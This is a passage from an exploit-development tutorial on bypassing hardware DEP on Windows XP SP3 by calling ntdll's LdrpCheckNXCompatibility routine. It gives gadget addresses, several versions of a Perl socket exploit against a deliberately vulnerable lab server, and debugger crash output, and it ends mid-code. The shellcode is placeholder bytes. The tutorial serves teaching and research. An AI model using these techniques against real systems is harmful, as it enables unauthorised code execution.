0y0\n      +0x000 Permanent        : 0y0\n      +0x000 ExecuteDispatchEnable : 0y0\n      +0x000 ImageDispatchEnable : 0y1\n      +0x000 Spare            : 0y00<\/pre>\n<p>(again, non-relevant pieces were left out)<\/p>\n<p>\u201cExecuteDisable\u201d is set when DEP is enabled. \u201cExecuteEnable\u201d is set when DEP is disabled. The \u201cPermanent\u201d flag, when set, indicates that these settings are final and cannot be changed.<\/p>\n<p>David Kennedy (from SecureState) has recently released <a href=\"http:\/\/www.packetstormsecurity.org\/papers\/bypass\/bypass-dep.pdf\" target=\"_blank\" rel=\"noopener\">an excellent paper<\/a> (partially based on Skape\u2019s and Skywing\u2019s work published at <a href=\"http:\/\/www.uninformed.org\/?v=2&amp;a=4\" target=\"_blank\" rel=\"noopener\">Uninformed<\/a>) on how hardware DEP can be bypassed on Windows 2003 SP2. I\u2019ll simply discuss this technique again in this chapter.<\/p>\n<p>In essence, this DEP bypass technique calls the system functions that will disable DEP, and then returns to the shellcode. In order to be able to do so, you need to be able to set up the stack in a special way\u2026 You\u2019ll understand what I mean in just a few.<\/p>\n<p>The first thing that needs to happen is a \u201ccall function NtSetInformationProcess\u201d (which resides in ntdll\u2019s LdrpcCheckNXCompatibility routing), When this function is called (with information class ProcessExecuteFlags (0x22)), and the MEM_EXECUTE_OPTION_ENABLE flag (0x2) is specified, DEP will be disabled. In short, the function call looks like this (copied from Skape\/Skywing\u2019s paper) :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;\n\nNtSetInformationProcess(\n   NtCurrentProcess(),    <span style=\"color: #008000\">\/\/ (HANDLE)-1<\/span>\n   ProcessExecuteFlags,   <span style=\"color: #008000\">\/\/ 0x22<\/span>\n   &amp;ExecuteFlags,         <span style=\"color: #008000\">\/\/ ptr to 0x2<\/span>\n   sizeof(ExecuteFlags)); <span style=\"color: #008000\">\/\/ 0x4<\/span><\/pre>\n<p>In order to initiate this function call, you can use a couple of techniques. One possibility would be to to use a ret2libc method, The flow would need to be redirected to the NtSetInformationProcess function. In order to feed it the correct arguments, the stack would need to be set up to contain the correct values. The drawback of this scenario is that you would need to be able to use a null byte in the attack buffer.<\/p>\n<p>Another possibility would be to take advantage of another set of existing code in ntdll, which will disable NX support for the process, and transfer control back to the user-controlled buffer. You will still need to be able to set up the stack to do this, but you won\u2019t need to be able to control the arguments.<\/p>\n<p>Please note that this technique can be very OS version specific. It is a lot easier to use this technique against a Windows XP SP2 or SP3 or Windows 2003 SP1 than it is with Windows 2003 SP2.<\/p>\n<h4>Disabling DEP (Windows XP \/ Windows 2003 SP1) : demonstration<\/h4>\n<p>In order to disable NX\/HW DEP on Windows XP, the following things need to happen :<\/p>\n<p>- eax must be set to 1 (well, the low bit of eax must be set to 1) and then the function should return (instructions such as \u201cmov eax,1 \/ ret\u201d - \u201cmov al,0x1 \/ ret\u201d - \u201cxor eax,eax \/ inc eax \/ ret\u201d - etc will do). You\u2019ll see why this needs to happen in a minute .<\/p>\n<p>- jump to LdrpCheckNXCompatibility, where the following things happen :<\/p>\n<p>(1) set esi to 2<\/p>\n<p>(2) see if zero flag is set (which is the case if eax contains 1)<\/p>\n<p>(3) a check is made whether the low byte of eax contains 1 or not. If it does, a jump is made to another piece of code in LdrpCheckNXCompatibility<\/p>\n<p>(4) a local variable is set to the contents of esi. (ESI contains 2 - see step( (1), so this variable will contain 2)<\/p>\n<p>(5) Jump to another piece of code in LdrpCheckNXCompatibility is made<\/p>\n<p>(6) A check is made to see if this local variable contains 0. It contains 2 (see step 4), so it will redirect flow and jump to another piece of code in LdrpCheckNXCompatibility<\/p>\n<p>(7) Here, a call to NtSetInformationProcess is made, with the ProcessExecuteFlags information class. The processinformation parameter pointer is passed, which was previously initialized to 2 (see step 1 and 4). This results in NX being disabled for the process.<\/p>\n<p>(8) At this location, a typical function epilogue is executed (saved registers are restored and leave\/ret instructions are called).<\/p>\n<p>In order to get this to work, you need to know 3 addresses, and they need to be placed at very specific places on the stack :<\/p>\n<p>- set eax to 1 and return. You need to overwrite EIP with this address.<\/p>\n<p>- address of start of cmp al,0x1 inside ntdll!LdrpCheckNXCompatibility. When eax is set to 1 and the function returns, this address need to be next in line on the stack (so it is being put in EIP). Pay attention to the \u201cret\u201d instruction from previous step. If there is a ret + offset, you may need to apply this offset in the stack. This will make the flow jump to the function that will disable NX and then returns. Just step through the exploit and see where it returns at.<\/p>\n<p>- jump to your shellcode (jmp esp, etc). When the \u201cdisable NX\u201d returns, this address must be put in EIP.<\/p>\n<p>Furthermore, ebp <strong><span style=\"text-decoration: underline\">must <\/span><\/strong>point to a valid, writable address, so the value (digit \u20182\u2019) can be stored (This variable which will serve as a parameter to the SetInformationProcess call, disabling NX). Since you have probably also overwritten saved EBP with your buffer, you\u2019ll have to build in a technique that will make ebp point to a valid writable address (address on the stack for example) before initiating the NX Disable routines. We\u2019ll talk about this later on.<\/p>\n<p>In order to demonstrate DEP bypass on Windows XP, we\u2019ll use the vulnerable server application (code available at top of this post under \u201cStack cookie protection debugging &amp; demonstration\u201d ), which will spawn a network listener (tcp 200) and wait for input. This application is vulnerable to a buffer overflow, allowing us to directly control RET (saved EIP). Compile this code on Windows XP SP3 (without \/GS, without Safeseh). Make sure DEP is enabled.<\/p>\n<p>Let\u2019s gather all components and setup the stack in a special way, which is required to make this bypass work.<\/p>\n<p>We can find an instruction that will put 1 in eax and then return in ntdll (NtdllOkayToLockRoutine) :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">ntdll!NtdllOkayToLockRoutine:\n7c95371a b001            mov     al,1\n7c95371c c20400          ret     4<\/pre>\n<p>Pay attention : we need to deal with a 4 byte offset change (because a ret+0x04 will be executed)<\/p>\n<p>Some other possible instructions can be found here :<\/p>\n<p>kernel32.dll :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">kernel32!NlsThreadCleanup+0x71:\n7c80c1a0 b001            mov     al,1\n7c80c1a2 c3              ret<\/pre>\n<p>rpcrt4.dll :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; u 0x77eda402\nRPCRT4!NDR_PIPE_HELPER32::GotoNextParam+0x1b:\n77eda402 b001            mov     al,1\n77eda404 c3              ret<\/pre>\n<p>rpcrt4.dll :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; u 0x77eda6ba\nRPCRT4!NDR_PIPE_HELPER32::VerifyChunkTailCounter:\n77eda6ba b001            mov     al,1\n77eda6bc c20800          ret     8<\/pre>\n<p>Pay attention : ret+0x08 !<\/p>\n<p>(I\u2019ll explain how to look for these addresses later on)<\/p>\n<p>Ok, we have 4 addresses that will take care of the first requirement. This address must be put at the saved EIP address.<\/p>\n<p>The LdrpCheckNXCompatibility function on Windows XP SP3 (English) looks like this :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; uf ntdll!LdrpCheckNXCompatibility\nntdll!LdrpCheckNXCompatibility:\n7c91cd31 8bff            mov     edi,edi\n7c91cd33 55              <span style=\"color: #0000ff\">push<\/span>    ebp\n7c91cd34 8bec            mov     ebp,esp\n7c91cd36 51              <span style=\"color: #0000ff\">push<\/span>    ecx\n7c91cd37 8365fc00        and     dword ptr [ebp-4],0\n7c91cd3b 56              <span style=\"color: #0000ff\">push<\/span>    esi\n7c91cd3c ff7508          <span style=\"color: #0000ff\">push<\/span>    dword ptr [ebp+8]\n7c91cd3f e887ffffff      call    ntdll!LdrpCheckSafeDiscDll (7c91cccb)\n<strong><span style=\"color: #ff0000\">7c91cd44 3c01            cmp     al,1\n7c91cd46 6a02            <span style=\"color: #0000ff\">push<\/span>    2\n7c91cd48 5e              <span style=\"color: #0000ff\">pop<\/span>     esi\n7c91cd49 0f84ef470200    je      ntdll!LdrpCheckNXCompatibility+0x1a (7c94153e)<\/span><\/strong><\/pre>\n<p>At 7c91cd44, steps (1) to (3) are executed. esi is set to 2, and we will to jump to 0x7c94153e.). That means that the second address we need to craft on our custom stack is 7c91cd44.<\/p>\n<p>At 7c91cd49, the jump is made to 7c94153e, which contains the following instructions :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">ntdll!LdrpCheckNXCompatibility+0x1a:\n7c94153e 8975fc          mov     dword ptr [ebp-4],esi\n7c941541 e909b8fdff      jmp     ntdll!LdrpCheckNXCompatibility+0x1d (7c91cd4f)<\/pre>\n<p>This is where steps (4) and (5) are executed. esi contains value 2, and ebp-4 is now filled with the contents of esi (=2). Next we will jump to 7c91cd4f, which contains the following instructions :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; u 7c91cd4f\nntdll!LdrpCheckNXCompatibility+0x1d:\n7c91cd4f 837dfc00        cmp     dword ptr [ebp-4],0\n7c91cd53 0f85089b0100    jne     ntdll!LdrpCheckNXCompatibility+0x4d (7c936861)<\/pre>\n<p>This is step 6. The code determines whether the local variable (ebp-4) contains 0 or not. We have put \u20182\u2019 in this local variable, so the jump (jump if not equal) is made to 7c936861. At that address, the following instructions are executed (step 7):<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; u 7c936861\nntdll!LdrpCheckNXCompatibility+0x4d:\n7c936861 6a04            <span style=\"color: #0000ff\">push<\/span>    4\n7c936863 8d45fc          lea     eax,[ebp-4]\n7c936866 50              <span style=\"color: #0000ff\">push<\/span>    eax\n7c936867 6a22            <span style=\"color: #0000ff\">push<\/span>    22h\n7c936869 6aff            <span style=\"color: #0000ff\">push<\/span>    0FFFFFFFFh\n7c93686b e82e74fdff      call    ntdll!ZwSetInformationProcess (7c90dc9e)\n7c936870 e91865feff      jmp     ntdll!LdrpCheckNXCompatibility+0x5c (7c91cd8d)\n7c936875 90              nop<\/pre>\n<p>At 7c93686b, the ZwSetInformationProcess function is called. The instructions prior to that location basically set the arguments in the ProcessExecuteFlags Information class. One of these parameters (currently at ebp-4) is 0x02, which means that NX will be disabled. When this function completes, it returns back and executes the next instruction (at 7c936870), which contains the epilog :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">ntdll!LdrpCheckNXCompatibility+0x5c:\n7c91cd8d 5e              <span style=\"color: #0000ff\">pop<\/span>     esi\n7c91cd8e c9              leave\n7c91cd8f c20400          ret     4<\/pre>\n<p>At that point, NX is disabled, and the \u201cret 4\u201d will jump back to the caller function. If we have set up the stack correctly, we land back at a location on the stack that can be filled with a jump instruction to our shellcode.<\/p>\n<p>Sounds simple - but the guys that discovered this technique most likely had to research everything in reverse order\u2026 A big high five &amp; thumbs up for a job well done !<\/p>\n<p>Anyways, what does this mean in terms of setting up the stack ? We have talked about addresses and offsets to take care of\u2026 but how do we need to build our buffer ?<\/p>\n<p>ImmDbg can help us with this. ImmDbg comes with a pycommand !findantidep, which will help you setting up the stack correctly. Alternatively, my own custom pycommand pvefindaddr can help looking for more addresses that could be used for setting up the stack. (I have noticed that !findantidep does not always get you the correct addresses. So you can use !findantidep to get the stack structure, and pvefindaddr to get the correct addresses)<\/p>\n<p>[download id=31]<\/p>\n<p>First, look up 2 of the required addresses using pvefindaddr<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image50.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb50.png\" width=\"536\" height=\"196\" \/><\/a><\/p>\n<p>Next, run !findantidep to get the structure. This pycommand will show you 3 dialog boxes. Just select an address in the first box (any address), then fill in \u2018jmp esp\u2019 in the second box (without the quotes), and select any address from the 3rd box. Note that we\u2019re not interested in the addresses provided by findantidep, only in the structure\u2026<\/p>\n<p>Open the Log window :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image51.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb51.png\" width=\"673\" height=\"32\" \/><\/a><\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">stack =\n   &quot;<span style=\"color: #8b0000\">\\xa0\\xc1\\x80\\x7c\\xff\\xff\\xff\\xff\\x48\\x2c\\x91\\x7c\\xff\\xff\\xff\\xff<\/span>&quot;\n   + &quot;<span style=\"color: #8b0000\">A<\/span>&quot; * 0x54\n   + &quot;<span style=\"color: #8b0000\">\\x73\\x12\\xab\\x71<\/span>&quot;\n   + shellcode<\/pre>\n<p>This shows us how we need to set up the stack, according to !findantidep :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 30px; border-right: #cecece 1px solid; width: 820px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">1st addr | <span style=\"color: #0000ff\">offset<\/span> 1 | 2nd address | <span style=\"color: #0000ff\">offset 2<\/span> | 54 bytes | jmp to shellc | shellc<\/pre>\n<p>1st addr = set eax to 1 and return. (for example, 0x7c95371a - discovered with pvefindaddr). In our malicious payload, this is what we need to overwrite saved EIP with. At this address (0x7c95371a), ret 4 is performed, so we need to add 4 bytes offset after this address (offset 1).<\/p>\n<p>2nd addr = initiate the NX disable process by jumping to cmp al,1. This is 0x7c91cd44 (discovered with pvefindaddr). When this process returns, another ret 4 will be performed (so we need to add 4 more bytes offset) (offset 2)<\/p>\n<p>Next, 54 bytes of padding is added. This is needed to adjust the stack. After NX is disabled, the saved registers are popped of the stack and then a leave instruction is executed. At that point, EBP is 54 bytes away from ESP, so in order to compensate for this, we need to add 54 bytes.<\/p>\n<p>Then, after these 54 bytes, we need to put the address of a \u201cjmp to the shellcode\u201d. This is the location where the flow will return to after disabling NX. Finally, we can put our shellcode .<\/p>\n<p>(it\u2019s obvious that this stack structure depends on the real stack values when the exploit is ran. Just see if you can reference the shellcode by doing a jump\/call\/push+ret instruction and fill in the values accordingly). In fact, the entire structure shown by !findantidep is just theory. You just need to build the buffer step by step and by looking at register values after every step. That will ensure that you are building the right buffer. And that is exactly what we will do using our example application.<\/p>\n<p>Let\u2019s have a look at our vulnsrv.exe example. We know that we will overwrite saved EIP after 508 bytes. So instead of overwriting saved EIP with the address of jmp esp, we will put the specially crafted buffer at that location, which will disable NX first.<\/p>\n<p>We\u2019ll build the stack from scratch. Let\u2019s start by putting the first address at saved EIP and then see where that leads us to :<\/p>\n<p>508 A\u2019s + 0x7c95371a + \u201cBBBB\u201d + \u201cCCCC\u201d + 54 D\u2019s + \u201cEEEE\u201d + 700 F\u2019s<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">use<\/span> strict;\n<span style=\"color: #0000ff\">use<\/span> Socket;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 508;\n\n<span style=\"color: #0000ff\">my<\/span> $disabledep = <span style=\"color: #0000ff\">pack<\/span>('V',0x7c95371a);\n$disabledep = $disabledep.&quot;<span style=\"color: #8b0000\">BBBB<\/span>&quot;;\n$disabledep = $disabledep.&quot;<span style=\"color: #8b0000\">CCCC<\/span>&quot;;\n$disabledep = $disabledep.(&quot;<span style=\"color: #8b0000\">D<\/span>&quot; x 54);\n$disabledep = $disabledep.(&quot;<span style=\"color: #8b0000\">EEEE<\/span>&quot;);\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">F<\/span>&quot; x 700;\n\n# initialize host and port\n<span style=\"color: #0000ff\">my<\/span> $host = <span style=\"color: #0000ff\">shift<\/span> || 'localhost';\n<span style=\"color: #0000ff\">my<\/span> $port = <span style=\"color: #0000ff\">shift<\/span> || 200;\n<span style=\"color: #0000ff\">my<\/span> $proto = <span style=\"color: #0000ff\">getprotobyname<\/span>('tcp');\n# get the port address\n<span style=\"color: #0000ff\">my<\/span> $iaddr = inet_aton($host);\n<span style=\"color: #0000ff\">my<\/span> $paddr = sockaddr_in($port, $iaddr);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Setting up socket\\n<\/span>&quot;;\n# create the <span style=\"color: #0000ff\">socket<\/span>, <span style=\"color: #0000ff\">connect<\/span> to the port\n<span style=\"color: #0000ff\">socket<\/span>(SOCKET, PF_INET, SOCK_STREAM, $proto) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">socket: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Connecting to $host on port $port\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">connect<\/span>(SOCKET, $paddr) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">connect: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Sending payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $payload = $junk.$disabledep.$shellcode.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> SOCKET $payload.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Payload sent, <\/span>&quot;.<span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">close<\/span> SOCKET or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">close: $!<\/span>&quot;;<\/pre>\n<p>After running this buffer against the application, we get :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(1154.13c4): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012e701 ebx=00000000 ecx=0012e565 edx=0012e700 esi=00000001 edi=00403388\neip=42424242 esp=0012e26c ebp=41414141 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246\n42424242 ??<\/pre>\n<p>ok, so the first address worked. esi contains 1 and flow is returned to BBBB. So we need to put the second address where BBBB is placed. The only additional thing we need to look at is ebp. When jumping to the second address, we know that - at a certain point, value 2 will be stored in a local variable at ebp-4. At this point ebp does not contain to a valid address, so this operation will most likely fail. Let\u2019s see :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">use<\/span> strict;\n<span style=\"color: #0000ff\">use<\/span> Socket;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 508;\n\n<span style=\"color: #0000ff\">my<\/span> $disabledep = <span style=\"color: #0000ff\">pack<\/span>('V',0x7c95371a);\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x7c91cd44);\n$disabledep = $disabledep.&quot;<span style=\"color: #8b0000\">CCCC<\/span>&quot;;\n$disabledep = $disabledep.(&quot;<span style=\"color: #8b0000\">D<\/span>&quot; x 54);\n$disabledep = $disabledep.(&quot;<span style=\"color: #8b0000\">EEEE<\/span>&quot;);\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">F<\/span>&quot; x 700;\n\n# initialize host and port\n<span style=\"color: #0000ff\">my<\/span> $host = <span style=\"color: #0000ff\">shift<\/span> || 'localhost';\n<span style=\"color: #0000ff\">my<\/span> $port = <span style=\"color: #0000ff\">shift<\/span> || 200;\n<span style=\"color: #0000ff\">my<\/span> $proto = <span style=\"color: #0000ff\">getprotobyname<\/span>('tcp');\n# get the port address\n<span style=\"color: #0000ff\">my<\/span> $iaddr = inet_aton($host);\n<span style=\"color: #0000ff\">my<\/span> $paddr = sockaddr_in($port, $iaddr);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Setting up socket\\n<\/span>&quot;;\n# create the <span style=\"color: #0000ff\">socket<\/span>, <span style=\"color: #0000ff\">connect<\/span> to the port\n<span style=\"color: #0000ff\">socket<\/span>(SOCKET, PF_INET, SOCK_STREAM, $proto) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">socket: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Connecting to $host on port $port\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">connect<\/span>(SOCKET, $paddr) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">connect: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Sending payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $payload = $junk.$disabledep.$shellcode.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> SOCKET $payload.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Payload sent, <\/span>&quot;.<span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">close<\/span> SOCKET or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">close: $!<\/span>&quot;;<\/pre>\n<p>App dies, windbg says :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(11ac.1530): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012e701 ebx=00000000 ecx=0012e565 edx=0012e700 esi=00000002 edi=00403388\neip=7c94153e esp=0012e26c ebp=41414141 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246\nntdll!LdrpCheckNXCompatibility+0x1a:\n7c94153e 8975fc          mov     dword ptr [ebp-4],esi ss:0023:4141413d=????????<\/pre>\n<p>Right - attempt to write to ebp-4 (41414141-4 = 4141413d) failed. So we need to adjust the value of ebp before we start executing the routines to disable NX. In order to do so, we need to find an address that will put something useful into EBP. We could point EBP to an address on the heap, which will work to store the temporary variable\u2026 but the leave instruction that is executed after disabling NX will take EBP and put it in ESP\u2026 which will mess up our buffer (and point our stack to an entire other location). A better approach would be to point EBP to a location near our stack..<\/p>\n<p>The following instructions would work :<\/p>\n<p>- push esp \/ pop ebp \/ ret<\/p>\n<p>- mov esp,ebp \/ ret<\/p>\n<p>- etc<\/p>\n<p>Again, pvefindaddr will make things easier :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image52.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb52.png\" width=\"598\" height=\"253\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image53.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb53.png\" width=\"423\" height=\"107\" \/><\/a><\/p>\n<p>So instead of starting the first phase (setting eax to 1), we\u2019ll first adjust ebp, make sure it returns to our buffer (ret instruction), and then we\u2019ll start the routine.<\/p>\n<p>RET (saved EIP) is overwritten after 508 bytes. We\u2019ll now put the address to perform the stack adjustment at that location, followed by the remaining lines of code :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">use<\/span> strict;\n<span style=\"color: #0000ff\">use<\/span> Socket;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 508;\n\n<span style=\"color: #0000ff\">my<\/span> $disabledep = <span style=\"color: #0000ff\">pack<\/span>('V',0x77eedc70);  #adjust EBP\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x7c95371a);  #set eax to 1\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x7c91cd44);  #run NX Disable routine\n$disabledep = $disabledep.&quot;<span style=\"color: #8b0000\">CCCC<\/span>&quot;;\n$disabledep = $disabledep.(&quot;<span style=\"color: #8b0000\">D<\/span>&quot; x 54);\n$disabledep = $disabledep.(&quot;<span style=\"color: #8b0000\">EEEE<\/span>&quot;);\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">F<\/span>&quot; x 700;\n\n# initialize host and port\n<span style=\"color: #0000ff\">my<\/span> $host = <span style=\"color: #0000ff\">shift<\/span> || 'localhost';\n<span style=\"color: #0000ff\">my<\/span> $port = <span style=\"color: #0000ff\">shift<\/span> || 200;\n<span style=\"color: #0000ff\">my<\/span> $proto = <span style=\"color: #0000ff\">getprotobyname<\/span>('tcp');\n# get the port address\n<span style=\"color: #0000ff\">my<\/span> $iaddr = inet_aton($host);\n<span style=\"color: #0000ff\">my<\/span> $paddr = sockaddr_in($port, $iaddr);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Setting up socket\\n<\/span>&quot;;\n# create the <span style=\"color: #0000ff\">socket<\/span>, <span style=\"color: #0000ff\">connect<\/span> to the port\n<span style=\"color: #0000ff\">socket<\/span>(SOCKET, PF_INET, SOCK_STREAM, $proto) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">socket: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Connecting to $host on port $port\\n<\/span>&quot;;\n<span style=\"color: 